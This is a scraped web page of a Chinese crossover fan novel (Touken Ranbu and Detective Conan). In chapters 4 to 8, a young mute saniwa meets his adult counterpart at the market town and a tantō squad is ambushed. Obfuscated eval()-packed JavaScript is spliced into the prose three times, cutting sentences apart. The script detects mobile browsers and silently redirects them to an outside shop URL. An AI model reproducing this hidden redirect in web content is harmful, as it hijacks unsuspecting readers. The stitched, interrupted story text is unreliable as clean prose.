l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228636|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话的确没错,只是烛台切光忠看来并非是与冲田组的两把打刀一起吐槽时政的好盟友,大和守安定稍稍有些可惜,但很快又振作起来,帮烛台切光忠打着下手。 有烛台切光忠这位新上任的厨番长在,晚饭很顺利地准备好了 烛台切光忠的厨艺也着实高超,本丸的刀剑竟还是头一遭吃到这样美味的食物,有位小短刀甚至快要激动得流出眼泪:“太好了,终于吃上真正的料理了!” 加州清光不是专门做饭的厨子,又不像烛台切光忠在伊达家耳濡目染过,他的料理技艺虽然不算差,但也不算好,充其量也不过是将食物煮熟,好歹不太难吃。 “喂喂,拉踩可就过分了吧。”站在审神者身边的加州清光正好听到了这句话,一脸的不服,“得罪谁都不该得罪近侍吧,明天的内番名单我一定会加上你的!” “求放过啊清光先生!” 刀剑男士们这样打打闹闹,位于正中央的审神者却突然停下了咀嚼的动作,望着手里的碗筷发呆。 “是饭菜不合胃口吗,主殿?” 时刻注意审神者动静的烛台切光忠立马就看了过去,审神者这样的反应也令烛台切光忠心头一紧,担心出现了什么差错,连忙问了一句。 审神者景回过神,团子大小的主上也意识到了自己的失态,连忙摆手想要解释。餐桌上没有纸笔,审神者写不出话来,只能无措的伸手比划,他也不知道是在说些什么,又怕烛台切光忠误会自己的意思,越比划越着急。 好在身为近侍的加州清光已经能看懂他大半的手语,在一旁试图翻译。 加州清光努力辨认着自家审神者想要比划出的意思,只是一翻译就立刻吓了一跳:“……妈妈?” 虽然他们刀剑自己平时也会开玩笑,说烛台切光忠是可靠的妈妈桑,但这种话可不兴当着正主的面说出来的啊!即使烛台切光忠再怎么不在意,那也是会很尴尬的啊! 还好审神者并不是只比划了这一句话,好半天,加州清光终于成功将审神者的手语衔接成一句话: “主殿的意思是,烛台切先生您的料理与妈妈的味道很相似……” 咦,和主上的妈妈做饭味道相似? 烛台切光忠的厨艺是在伊达家的那段时间内学来的,主上的妈妈大概是现世人类,时间相差那么久远,居然还能够有这样的巧合吗? 疑惑归疑惑,烛台切光忠虽然也没有想过,自己的料理还能够得到自家主上这样的评价,但主人能够认可他的料理,也算是对厨子最大的褒奖,他连忙回复:“只要主上喜欢,我可以天天做给主上吃。” 审神者本想摆手说用不着这样麻烦,可加州清光翻译他的话也都是连蒙带猜,他又怕烛台切光忠会误解他的意思,思虑了几秒,最终还是认真的点了点头。 等赚到小判了,也要给烛台切先生一个御守啊。审神者景这样想。 5. 第 5 章 通过这些天的远征与日课,新上任的审神者也赚了一些小判,数量虽然没有其他审神者多年积攒的小判要多,但去万屋购物一次也算是绰绰有余。 审神者景还惦记着要给五虎退和烛台切光忠补御守,此次专门前来万屋,除了购买一些本丸内的必需品外,也是特意为此而来。 陪同审神者来到万屋的,是近侍加州清光与打刀大和守安定。 才被时空转换器传送到万屋,加州清光就被眼前的一幕惊了惊:“这边的人也太多了吧!” “哎呀,因为是在过节吧!”大和守安定望了望,一眼看过去也看到了不少刀剑与审神者。 彼时正值节假日,万屋非常热闹,也十分拥挤。虽说时政的贺礼通常都是直接送到本丸内,不需要审神者特意去领取,但万屋也是会有相应的促销活动,吸引审神者们消费。 他们选择今日来万屋,也是趁着促销打折,少花一些小判。 加州清光与大和守安定都不是什么稀有的刀剑,来到万屋也并不会引人瞩目,大多数人的注意力往往都不在这两刃身上,其他审神者最多不过是无意间看上两眼,不会引来什么麻烦。 只不过今日的人数确实有些超乎他们的意料,平常就算是过节,审神者们也不该会有这么多吧,看来这次节日对审神者们而言非同小可啊。 街上相当热闹,人也实在是有些太多,他们甚至还没有站稳脚跟,身后就有一阵人流涌来,将加州清光往前推了推。 加州清光连忙抓住身旁的手,生怕会和自家小审神者挤散。 “别挤别挤,”他听见噪杂的人流里响起了几声呼喊,“你们把我家近侍挤走了!” 有刀剑努力寻找着审神者:“我一定会保护好主君的安全的……呃啊……审神者,你在哪!” 还有审神者爆发出尖锐爆鸣:“你们看到我家退退了吗?!谁把我家极化小短刀拐走了?!” 诸如此类。 听到其他刀剑与审神者的呼喊声,加州清光只觉得得一阵庆幸,在人多的地方免不了会出现这样差错,幸好自己有自知之明,提前抓住了自家审神者的手,不然他们也要像这些落单的刀剑一样寻找自家审神者了。 只是好不容易挤出拥堵的人流,加州清光还没有来得及松下一口气,习惯性地往身旁扫了一眼,只是当那双红色的吊俏眼垂下,投出的目光在落到自己牵着的那只手上时,加州清光霎时间一僵,眼眸里原本的温柔也一瞬间消失不见。 尽管是摸起来属于小孩子稚嫩的小手,但是…… “那个……对不起……”白发金眸的短刀语气怯弱的开口,“但是……可以请加州先生先放开我吗,我家主人还在找我……” 加州清光差点发出一声和短刀主人一样的尖锐爆鸣。 等等,他一直以来牵的人原来不是他家审神者吗! 那他家审神者究竟去哪了! 没事没事,还有安定在呢!安定一定能保护好审神者的! 加州清光试图安慰自己,可当他看见自己那位蓝白配色的同僚单独一刃从人群之中挤出来的时候,那一刻,红黑色的打刀彻底发出一声爆鸣:“审神者呢!” 大和守安定刚恢复自由,好不容易从人群里挤出来的话,他还没有来得及向加州清光抱怨一句,陡然听见对方的这句话,不免有些疑惑抬起头:“不是你拉走了吗?” 话音刚落,他就看清了加州清光身边的小男孩分明是一刃极化后的白色小短刀,哪里是他家审神者! 沉默,瞬间在冲田组的两把打刀之间蔓延。 天杀的!他家审神者怎么撒手没了啊! 大和守安定也差点发出一声尖叫。 啊啊啊啊啊审神者你去哪了啊!!! 与此同时,万屋另一边的时空转换器缓缓浮现出两个身影。 “哎呀,怎么突然多了这么多人啊,这可真是吓我一跳。” 白发的太刀付丧神掂了掂脚,望向前方两眼看不到头的人群:“看来今天出门并不是什么明智的选择呢。不过要是能变成鹤直接飞出去,就不用担心拥挤的问题了。” “那到时候我可就要和长谷部说,鹤把我一个人丢在了万屋,真过分啊。”他的身边,一个与加州清光和大和守安定苦苦寻觅的审神者几乎一模一样的男孩站在那里,眯着眼睛望了一下对面拥挤的人群。 “那怎么会呢?”鹤丸国永嬉笑着,“我要是变成鹤了,一定会载着少主一起飞出去的,怎么可能会丢下您呢。” 七岁的男孩眨了一下自己灰蓝色的眼眸:“你上次骑走小云雀的时候也是这么说的,然后把我一个人丢在了马厩。” “那不是小云雀忽然不听使唤了嘛,而且您不是已经向长谷部告过状了吗?” 男孩提醒:“我告的状是你逃番。” 鹤丸国永目光微移,随后理直气壮:“内番是禁锢不了自由的鹤,就像马厩禁锢不了自由的小云雀!” 鹤逃番的事那能叫逃番吗! 男孩显然也没打算再继续计较这种事,只是扯了扯鹤丸国永的衣角:“长谷部给的清单在哪?万屋人太多了,我们两个还是分开行动比较快。” “在这里!”鹤丸国永十分热情地掏出一张清单,“既然这样的话,我可以全部都交给少主您执行吗?” “我会向长谷部告状的哦。” “哈哈,不要这么不近人情嘛!”鹤丸国永连忙往前踱了几步,“那这份清单上的内容就交给我来采购了!剩下的那些就交给少主了,我们等会儿就到那边集合吧!” 看着远去的鹤,男孩摸了摸下巴:“搬出长谷部果然管用啊。” 再说了,他又不是真的小孩子,怎么可能真的幼稚到去告状啊。 男孩——真实年龄已经达到26岁的诸伏景光感叹了一声,他倒是不担心鹤丸国永会趁机摸鱼,反正平时鹤丸国 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“不好意思。”拦路的是一名女性审神者,见到对方露出这样懵懂的表情,只觉得自己一颗心也快被萌化了,她也清楚自己方才的行为有些失礼,连忙咳嗽几声,道了一声歉,“我只是想问一下——你是哪家的短刀啊?我没有在刀账上见过你诶!你真的好可爱啊,是新出来的短刀吗,我该怎样才能得到你的同振啊!” “诶?”诸伏景光也没有想到自己出门居然能够引起这样的误会,不过想来也是,审神者很少会有他外表这个年龄的,何况他又不是什么真正的审神者,又确实与短刀们差不多高,闹出这样的乌龙也的确正常,“抱歉,我并不是短刀。” “咦?”审神者有些疑惑,但很快就了然,“那就是像萤丸那样外表是小孩子的大太刀吗?” “并不是。”诸伏景光有些无奈地叹了口气,耐下性子解释,“我不是刀剑付丧神,没有同振的存在。” “没有同振?”女性审神者显然是更加疑惑了,询问的语气要比方才还要茫然,“可那边的那位,难道不是你的同振吗?你们可是长得一模一样诶!” 什么同振? 这话也快将诸伏景光给绕晕了,他疑惑地朝女性审神者指向的方向,却在看清那边场景的下一秒瞳孔骤然一缩——有好几个审神者都蹲在那边,嘴里念叨着“不要怕婶婶不是坏人”“这么可爱的短刀生来就是要被婶婶宠”一类的话,而这群审神者的中央,正是一名几乎是诸伏景光翻版的男孩。 他身边的那位女审神者仍然有些不解:“你不是刀剑的话,那就只能是审神者了,抱歉抱歉,是我先入为主,没有注意到——不过审神者会有同位体的存在吗?时政不会同时契约两个完全一样的审神者的吧?还是说,你们两个是双胞胎吗?” 诸伏景光可没有什么双胞胎弟弟,虽然说他确实是像审神者那样的人类,但他也并非是与正式时政契约的审神者,他几乎是在看清那张与自己一模一样但略显慌乱的稚嫩面庞时就瞬间明白了过来—— 那可是货真价实的七岁时候的自己啊! 怎么心血来潮来万屋一趟,还能捡到另一个自己啊! 6. 第 6 章 诸伏景光是真的没能想到,自己难得来万屋一趟,居然还能够捡到这么大的一个惊喜。 那双灰蓝色眼眸的目光落在不远处那个与自己一模一样的男孩身上,诸伏景光几乎半分都没有犹豫,他甚至没能向那名女性审神者道一声礼貌性的感谢,脚步便已经冲了过去,挡在了男孩身前。 审神者们也看见了诸伏景光,她们看到了两个一模一样的男孩,眼前更是一亮,更加确信了这个没见过的男孩是什么稀有的短刀。 “不好意思。”诸伏景光没有方才那般耐心了,也没有想要一般般解释的精力。 他知道这些审神者同僚其实并没有什么恶意,多半是看到这名比短刀还要小的小男孩落单才会不放心的围过来,所以诸伏景光也不好摆出什么太过强硬的态度,黑发男孩的眼底依旧噙着那点如同暖阳一般温暖的笑意,态度称得上是恭敬,但护住对方的动作却没有半分迟疑: “麻烦让一下,你们有些吓到他了。” 诸伏景光拽住了那名落单的同位体的手,七岁的男孩显然还没有过来发生了什么,在看见诸伏景光与自己几乎完全一致的面容时眼神里更是多了分茫然。 但即使是不知晓对方是谁,又为什么会与自己长得一模一样,他也没有挣扎,任凭诸伏景光拽着自己,顺利将自己从审神者堆里解救出来。 还好那些热心肠的审神者并没有追过来,审神者们也都不会刻意去找同僚麻烦,方才应当只是见男孩落单才会上前搭话,此刻见到一个短刀的同伴将其拽走,就算心里再可惜没能问到究竟是什么刀也不会失礼的追上来。 于是他们很快就到了一个相对安静的位置。诸伏景光松开了牵着男孩的手,也终于是停下了脚步。 ‘你是?’ 审神者景被不认识的‘自己’牵了一路,好不容易松了手,连忙询问了一句。 对方的手语并不标准,但诸伏景光是完全能够看得懂的,他指尖微微并拢,轻轻抵在唇边,做了一个噤声的手势:“时政应当有告诉过你,不要询问其他人的真名,也随意不要透露自己的真名。” 审神者景当然记得这一点,可当看到与面前这个与自己一模一样的人时,他还是止不住地有些茫然,看向对方的目光也微微上挑,眼底带着散不去的困惑。 诸伏景光却没有解释,他没有说出自己的代号,更没有询问这位小小的审神者的代号。 方才男孩一声不吭,还不断比划着手语,诸伏景光其实并不难判断出这名自己的同位体是处于怎样的时期。 他并不是真正的审神者,更不知道另一个自己为什么会在这样小的年纪就会与时政签订契约成为审神者,但他了解这个时期的自己,突发性“失语”令他长期处于一个不安的状态,即使身旁有朋友与亲人围绕,他也始终无法逃脱那抹惊惧。 哪怕后来失语症逐渐好转,他也仍然被梦魇缠绕。 如今的审神者景既然处于失语的时期,那么导致父母死亡的那起案件,也一定已经发生了…… 诸伏景光是相当清楚的,他知道自己无法解决过去自己的心理阴影,也无法改写注定的过去,但面对自己才七岁的同位体,他也不可以什么都不管,当然是能帮一点就是一点。 于是,真实年龄为26岁的公安先生眼眸盈着浅淡的笑意,干净透亮的声音温柔地响起:“但是不用担心,我想我是那个例外——” “我是诸伏景光——”他用力极轻地攥住了男孩的手腕,在对方耳畔柔声低语,“这是我的真名,现在,可以相信我了吗?” 真名,无论对谁,在时政内都是一个极其有力的筹码。他理应保护好自己的真名,不该让任何知晓,哪怕是对主公极其忠心的刀剑男士。 但对方是自己的同位体,真名就更不是什么秘密的存在,诸伏景光这个名字,不仅属于自己,同样也属于对方。 所以要想获取对方的信任,说出自己真名便是最快速的方式。 ——当然,诸伏景光并不是没有其他的办法,即使外表看起来只是一个七岁的男孩,但他实际说到底是一个真真切切的成年人,何况在被带到本丸之前他还是公安的卧底警察,骗取他人的信任对于他而言并不困难。 但对象是七岁的他,那么那些不太能上台面的招数自然就使不出来,何况忽悠一个小孩他自己也会有些不安,所以面对另一名身为审神者景,他更倾向于真心相待。 真名是二人衔接的秘密,他相信他自己。 …… 相比于审神者景本丸匆匆寻找审神者的加州清光与大和守安定,与诸伏景光分开行动的鹤丸国永是相当放心自家少主一个人的。 毕竟少主只是看着年龄小,但他的可靠程度可是审神者亲自盖过章的,完完全全就是一个小大人。 ——是的,诸伏景光并非是他们的审神者,而是被审神者带回来的孩子。 具体的情况鹤丸国永知晓得不全,也不方便透露,至于少主与审神者的真实关系究竟是怎样的存在,这就更不是鹤丸国永该深究的问题了。 这并不是鹤丸国永与诸伏景光第一次来万屋。上一次来万屋时,还是审神者带着他们一起过来的。 那时的万屋人也是相当的多,也如现在这般热闹。 当时鹤丸国永是缠着审神者一起过来的,同行的还有近侍压切长谷部。万屋太过拥挤,太多人一起进入太过显眼,也容易挡住其他人的去路,压切长谷部便留在了万屋前的时空转换器等候。 等到将所有东西购置完毕,审神者搭上他的肩膀,十分自然地将手中礼袋递到了自家刀剑手中,还特意提了一句:“方才鹤看中的那个墨镜我买了哦——不要那么激动,我知道你很喜欢,但是要等到回去再拆才行。” 鹤丸国永当然是高兴的,他看中的东西也不止是自己喜欢,更想要带回去给小光和小贞。 哼哼哼,这个墨镜一定很适合小光吧。 他完全不考虑烛台切光忠的独眼,就算考虑到了也只会认为小光的眼罩也很适配这个墨镜。 而且审神者亲自点头买的东西,要买也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228638|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吝啬地只买一个,定然是大家都有份。 还好平时管家的长谷部在外面等他们,出钱的是审神者本人,而审神者相当的大方,给他们花钱也一点也不心疼。 不过审神者的注意力当然不会是在鹤丸国永身上,那时审神者微微偏过身,想要拉住诸伏景光: “景,如果没有别的要买的东西,我们就应该回去了。长谷部还在等我们,现在该去和他汇合了——” 话音没落,审神者伸出的手蓦然僵住,他完全拉了一个空,不可置信地看向自己空荡荡的一边。一瞬间,这名审神者发出了一声相当尖锐的鸣叫。 虽然审神者除了一开始发现丢失少主时没把持住外并未做出其他的失礼,可那双如同鹰隼般锐利的眼眸扫过万屋每一寸时分明就是在问——“我家孩子呢?!谁把我孩子拐走了!” 那还是鹤丸国永还是第一次见到这么失态的审神者,他的小少主在那时属实是给了主人一个相当成功的惊吓呢! 不过鹤丸国永认为,比起审神者,长谷部要是知道他们两个人都没有看好少主的话,导致少主在万屋走丢后,是一定会发出更加尖锐的爆鸣! 说不准比主人的刚才那一声还要尖锐——不,那不是重点,重点是他们得在长谷部发现之前把诸伏景光找回来。 要知道即使审神者与少主并无血缘关心,但是审神者可是将少主视如己出,是实打实的关爱,连同着近侍长谷部都对少主有了深厚的感情。 虽说压切长谷部是出名的主控刀,但审神者是主人,小少主也是主人,主人都做出了将小主人弄丢的事来,压切长谷部也不可能装瞎装到这种程度,不管到时候长谷部反应如何,那可都是天大的麻烦! 当然,少主在万屋定然是遇不到危险,审神者那时很快就冷静了下来。诸伏景光也并非是会到处乱跑的孩子,冷静思考一番后,审神者果断打道回府,果然在压切长谷部身边看见了“失踪”的诸伏景光。 审神者都还没有来得及责问一句,就被少主先发制人地来了一句,问他和鹤丸国永那么大一个人怎么还能走丢? 原来是万屋人流量太多,在审神者选购必需品时他们就已经被人流冲散,找不到鹤丸国永与审神者的诸伏景光也没有再莽撞地再挤过人流寻找他们的踪影,而且干脆回到了长谷部身边,等他们一起回来。 虽然闹了一场乌龙,但鹤丸国永也相当清晰的认识到,谁都有可能迷路走丢,但他们少主丢不了。 这不,回到和诸伏景光约定好的地方,他就看见了两只少主挤在一起,脑袋靠着脑袋似乎是在说些什么。 看,他们的少主是多么的热心,也多么不可能走丢,就在这边等他呢!还特意是两只少主一起等他呢! ……等下! 两只少主?! 看清眼前的两只小不点儿后,鹤丸国永不可置信瞪大双眼,白色的鹤揉了一下眼前,但眼前的两小只仍然存在,他不由呢喃了一句:“呀,这可真是吓到我了。” 少主居然还能有丝分裂吗! 7. 第 7 章 虽说鹤丸国永不担心自家少主走丢,但在加州清光与大和守安定看来,他们是毫无疑问的弄丢了自己的审神者。 两把打刀也实在是没有想到自己头一次出门就能犯这么大的错误,即便万屋再怎么安全,但此刻寻找审神者的时间多一秒,他们也更加着急一分。 何况万屋就算不会出现时间溯行军这样的敌刀,但来往的人类与刀剑也有不少,万一正好遇见了某个失格的审神者,将他们小小的审神者当成了什么稀有的短刀,抓回去做研究那可就大事不妙了! “喂喂喂!真的会有这么变态的审神者吗!清光你的脑洞是不是开得太大了!” 大和守安定如此吐槽: “而且就算真的有失格审神者的存在,也不会蠢到在时政面前拐人吧!是生怕自己暴露的不够快吗!” “如果不是被坏人拐走了,那为什么我们在万屋找了这么久,都没有发现审神者的踪迹?” 加州清光当然也不希望自家审神者遭遇危险,可找到现在都没有瞧见自家审神者,他很难不将一切往最糟糕的结果上去猜想。 找不到审神者,大和守安定也着急,蓝色的围巾随着喧嚣的风在万屋的街上飘荡,一句“要不我们分开寻找审神者”的提议还没有说出口,万屋街上那个他们一直以为是装饰用的喇叭却蓦然飘来了一阵声响。 “喂喂。”一道清亮的声音从里面响起,甚至带着一股说不清的轻佻感,广播的声音莫名有些属性,太刀的尾音的微微上扬,音量相当通透,“走丢的加州清光和大和守安定小朋友,你们的审神者正在万屋西侧通道口的长椅前等你们。” 至少是少年身形的两把打刀:“?” 等等,这个寻人启事说得不会是他们吧?! 但是怎么变成他们走丢了?! 还没有等加州清光和大和守安定反应过来,喇叭那边的太刀又语速飞快地重复了一次:“哇,再说一遍,找不到审神者的加州清光和大和守安定小朋友,快来万屋西侧门口领取你们的审神者,不然你们的审神者我们就带走了。” 加州清光:“?” 大和守安定:“!” 整个万屋似乎就只有他两刃加州清光和大和守安定是不与审神者在一起的,不用说了,广播里的那位审神者多半就是他家审神者了! 但是这个广播又是怎么回事啊! 到底是什么刀在拐审神者之前还发预告函的啊! 这能对吗! 急匆匆地赶到了万屋西侧的通道口,两刃打刀也终于是找到了那个在广播里放出狂言要拐走他家审神者的刀剑。 果然是以喜欢恶作剧闻名的太刀鹤丸国永。 雪白的太刀抱着自己的本体站在一旁,明亮的金瞳在瞧见两名打刀过来微微弯起:“哈哈,终于等到你们了啊,鹤守在这里可是快要无聊死了。” 大和守安定没在鹤丸国永身边看到自家审神者,着急问了一句:“我们主人呢?” “你们来晚了,我家主人已经带着他回本丸做客了,你们要不先想想该怎么赎回你们的主人?” 鹤丸国永眼睛咕噜噜地转了一圈,说出来的话也来着几分轻佻。 但头一次听见这话的加州清光和大和守安定脸色蓦然凝重,显然都想起来方才寻找审神者时加州清光那句无心的猜想。 怎么办?!虽然没有遇到变态审神者,但是好像遇到了黑心审神者敲诈勒索了! 眼前两名打刀面色逐渐沉重起来,鹤丸国永也没有对方会是这样的反应,眯了眯眼睛,叹了一声:“诶!这么容易就被我吓到了吗?” 他本丸的加州清光和大和守安定可没有这么容易就被他吓到呢! 随口一句话就能将两刃没多少经验的打刀扼住,鹤丸国永头一次没能产生恶作剧成功的成就感,不过想到对方的主人不过是一个七岁的小孩,又好像一切都能够理解了。 审神者的性格是能够影响到刀剑的,他们的审神者那样童真又没有经验,他的刀剑自然也不可能有太多经验,头一次来万屋就遇到了审神者走丢的可怖情况,现在怕不是真的被他这句玩笑给吓到了。 他听这家少主的命令在这边等刀,总不可能给这两刃刀造成什么糟糕的误会,鹤丸国永终于是正色了几分,无奈地解释着真正的情况: “抱歉抱歉,我只是开个玩笑,赎金什么的,怎么想都不可能存在的玩笑话吧,我们少主又不是坏人,怎么可能会做出这种事啊。——不过能被我这样拙劣的玩笑话骗到,你们的本丸没有我的同振吗?哎呀哎呀,那么就当刚刚的对话是给你们提前熟悉一下鹤丸国永这振太刀啦!” 鹤丸国永说着,终于回答了大和守安定方才的问题:“放心好啦,你们的审神者只是和我家少主一起去那边的店铺买东西了,很快就会回来的——拐卖审神者这种违法乱纪的事,我家少主是绝对不会做的!” 话说到这里,他家少主和两刃打刀的审神者终于从那家店铺里出来了,小小的审神者看到自家近侍站着那里,眼前瞬间一亮,一路小跑到了打刀身前。 ‘清光!安定!’ 审神者圆溜溜的眼睛此刻亮晶晶的时候扑进了自家近侍的怀里,加州清光和大和守安定这才松了一口气,大和守安定拍了一下同僚的肩膀,感叹了一句:“还好没出事。” 话音落下,大和守安定的衣摆就被自家审神者轻轻地拽了一下,审神者从加州清光的怀中钻出,他从口袋掏了一下,飞快地将一个小东西塞进了蓝色打刀的手中。 大和守安定定睛一看,手心里静静地躺着一份做工精细的御守。 审神者眸光潋滟,眉尾稍稍弯起:‘御守。大家都有份,这是给安定的!’ 大和守安定相当的惊喜,御守的价格说贵也不算贵,但说便宜也不算便宜,平时买一两个倒还好说,买多了倒有些不值。 但小小的审神者显然是认为御守是刀剑不可或缺的东西,只能说幸好本丸里的刀剑现在不多,不然带来的小判真的不够付钱。 一旁的加州清光看得有些酸溜溜的:“我难道不是审神者最喜欢的刀剑吗?” 虽然他是第一个被审神者赠予御守的刀剑,但是看到其他刀剑在自己面前被审神者亲手挂上御守,他也是会嫉妒的啊! 可恶,他都是初始刀剑了,难道就不能有点特殊待遇吗! 但很快加州清光也被自家审神者扯了扯衣角,审神者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228639|197583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼底闪烁着清亮的光芒,示意加州清光看过来。 ‘清光不要难过,你也有份的。’ 审神者将一个十分小巧的饰品塞进了加州清光的手里,加州清光低下头,瞧见了一对做工精致的耳饰。 ‘这个配清光,很可爱。’审神者如此比划,说完这句话后他又转向一边的大和守安定,连忙端水,‘清光是初始刀剑,所以是第一个,之后也会给安定补上的。’ 大和守安定刚得了御守,当然不会在这种事情上与加州清光计较,唇角微翘:“那我就要好好期待主人送的下一份礼物啦!” “真会端水啊。”与审神者长得一模一样的诸伏景光终于是走了过来,他不紧不慢地跟在身后,又顺手将手中的礼品袋递给一边的鹤丸国永。 “哎呀,”鹤丸国永接过礼品袋,他刚见证了一场打刀与审神者友爱的一幕,此刻也扬唇笑了起来,“这难道是少主送我的礼物吗?那我可要私吞了哦!” “如果不怕被长谷部念叨,鹤当然可以私藏。”诸伏景光依旧带笑,说了这么一句。 两名打刀也终于发现了这位被鹤丸国永称为“少主”的男孩,只是目光刚瞥过去,两刃就不约而同的同时怔住了。 毕竟与自家审神者一模一样的人类,他们怎么想都不会想到能在这里遇见。 今天到底是个什么日子啊! “你们也觉得很惊吓是吧!”瞧见加州清光与大和守安定露出方才自己刚发现两人长得一模一样时相同的惊讶表情,鹤丸国永心满意足了,“这可是今年以来遇到的第一个大惊喜呢!” 诸伏景光倒是解释了一句:“我与你们审神者是同位体。” 不同本丸之间的同一振刀剑也都是同位体的关系,加州清光和大和守很快就能够反应,只是仍然有些讶异:“您的声音……” 诸伏景光不是真正的七岁,自然不处于失语状态,他只是笑笑,十分坦然:“你们就当是同位体之间的和而不同吧。” 虽然不知道审神者为什么会有同位体,但两名打刀大致能够理解了。 审神者方才与这位同位体少主进了万屋的店铺一趟,也将要买的东西买得差不多,加州清光和大和守安定清点了一下,没有发现漏掉的东西,这才望向自家审神者,询问:“现在要回去吗,主殿?” 一边的鹤丸国永提着大大小小的礼品袋,也在询问诸伏景光:“我们好像已经出来很久,算算时间,我们是不是该回去了,少主?” 诸伏景光没有立刻回答,抬眸时正好对上了小审神者的目光,他朝审神者景的方向莞尔一笑,似乎是准备告别,但审神者景却蓦然挣脱了自家近侍的怀抱,又踱步到了诸伏景光身前。 ‘要一起来参观我的本丸吗?’ 那双清亮的蓝色眼眸里充满了期待,他不止是将诸伏景光当做同位体那般简单,似乎也认定了对方是自己在陌生的时政之中唯一的朋友。 尽管一口气发出邀约,但他伸出的手仍然还是有些紧张。 “呀……” 诸伏景光歪了歪头,一模一样的蓝色眼眸透出明亮的温润笑意: “那真是打扰了。” 还好他没有拒绝。 8. 第 8 章 虽说是审神者去了万屋,但每日的日课仍然是要照例进行的,出阵自然是不可避免的。 以往都是作为初始刀剑、等级也是最高的加州清光带领第一部队出阵,但现在加州清光作为近侍陪同审神者前往万屋,今日第一部队队长的职责便落到了审神者的第二刃刀剑五虎退身上。 没有办法,加州清光也知道粟田口这位最小的弟弟性格怯懦,胆子也小,平时开口闭口也都是一句“对不起”,但他是本丸的第二刃刀剑,也是除加州清光外等级最高的一把,本丸才刚开始建设,这样高等级的刀剑也不可能不出阵。 不过好在一个队伍通常有六人,除去五虎退,还有其他刀剑也会一同出阵。本丸短刀最多,粟田口更是多得出奇,今日出阵的刀剑,也基本都是粟田口的成员。 有哥哥们作陪,五虎退的压力应当会轻上不少。 低等级短刀队阵容相对脆弱,但短刀们刃刃都很精,侦查值也是相当高,而简单的出阵里也遇不上什么特别高等级的时间溯行军,短刀们在这里也是如鱼得水,基本不会遇到什么危险。 这也是加州清光与审神者放心让这群小短刀独自出阵的原因。 “按照现在的速度,我们是不是还有时间给主人带点特产回去?”击退一轮时间溯行军后,甜美的声音自队伍中响起,相貌清秀的橙发小短刀俏皮的眨了一下眼睛。 乱藤四郎性格向来活泼,平时装束可爱,也惯爱撒娇,虽说他们的审神者是一个身高比他们还要矮上一些的人类幼童,但也仍然阻止不了橙发蓝眸的短刀卖俏。 “是哦是哦,如果路上遇到一些有趣的野果,还可以带回去和大将一起研究。”信浓藤四郎也相当赞同。 哥哥们兴致盎然,五虎退抱着小老虎也点了点脑袋:“……如果是安全的东西,我想……主人会喜欢的……” “……那是远征队的工作吧,我们现在负责的应当是打倒敌人。”短刀队伍里,唯一成熟稳重的药研藤四郎吐槽了这么一句。 但出阵以往都是加州清光带领,没有出阵的弟弟一般是内番或远征,现在加州清光和大和守安定都不在,这还是头一次短刀们一齐出阵,自然看什么都新奇。 罢了,由着他们吧,好歹不是什么危险的地图。 平日里药研藤四郎便足够冷静与可靠,本丸还未拥有一期一振,也都是他担起哥哥的责职照顾这群弟弟,有着与外表相当不符合的成熟经验。 弟弟们现在兴致热烈,药研藤四郎自然也不会特意扫兴。 不过这里毕竟是战场,随时都有可能会出现敌刀,短刀们虽然等级都不是很高,也没有极化,但侦查能力也相当不错,在低等级地图里,一点风吹草动都能够察觉到。 所以当敌刀靠近时,原本还叽叽喳喳互相打闹着的短刀很快就有所察觉,一秒切换成战斗姿态,做好迎敌的准备。 但即便有完全的准备,可在看清靠近的敌刀后,药研藤四郎一瞬间瞳孔骤缩,心头更是猛地一颤。 原因无他,只因那并非是他们所熟悉的时间溯行军,而是—— 检非违使。 严格意义上来说,检非违使与刀剑男士并非是敌对关系,他们会肃清所有的非历史上的特异点,是保护历史的机制。 然而,检非违使是毫无感情的看守者,他们敌我不分,即使是同样保护历史的刀剑男士,也会被他们认定为需要肃清的对象,此刻更是不由分说地朝这队短刀们攻过来。 不是吧,怎么会这么倒霉? 加州清光平时带队时,他们也没有遇见过检非违使,短刀们头一次遇见这样的敌人,尽管卯足了劲儿迎敌,但也显然落于下风。 ……这不对劲! 药研藤四郎当即就意识到了这一点,他们今日出阵没多久,在这个时空停留的时间并不长,一般而言,是不可能吸引来检非违使的。 即使是他们运气不好,真就那么凑巧碰上了检非违使,他们遇到的异形军也不应当……这么强劲。 他们队伍之中等级最高的五虎退也只比其他人高上几级,那样的差距,几乎是微乎其微,可出现在他们面前的检非违使,明显是更加可怖等级的存在。 但眼前的战况已经容不得药研藤四郎细想,他紧紧握住手中的本体刀,短刀格挡住敌刀的剑锋,火星四溅,震得他手臂有些发麻。 一击刺过,药研藤四郎的确精准的刺中了敌刀,但强大的等级差没法使其一刀致命,那点伤痕对于强劲的异形军显然不痛不痒。 弟弟们那边的情况只会更加糟糕,五虎退那边情况稍好,但也是力不从心,在检非违使的攻击下,短刀队的劣势也是相当明显。 药研藤四郎瞧见弟弟身后有敌刀接近,他大喝一声小心,脚下用力跃起,但他仍然来不及为弟弟挡下这一击,强烈的不安自心头涌出,那阵敌刀几乎是要刺伤弟弟,但千钧一发之际,一振太刀破空而出,精准击穿了那振敌刀。 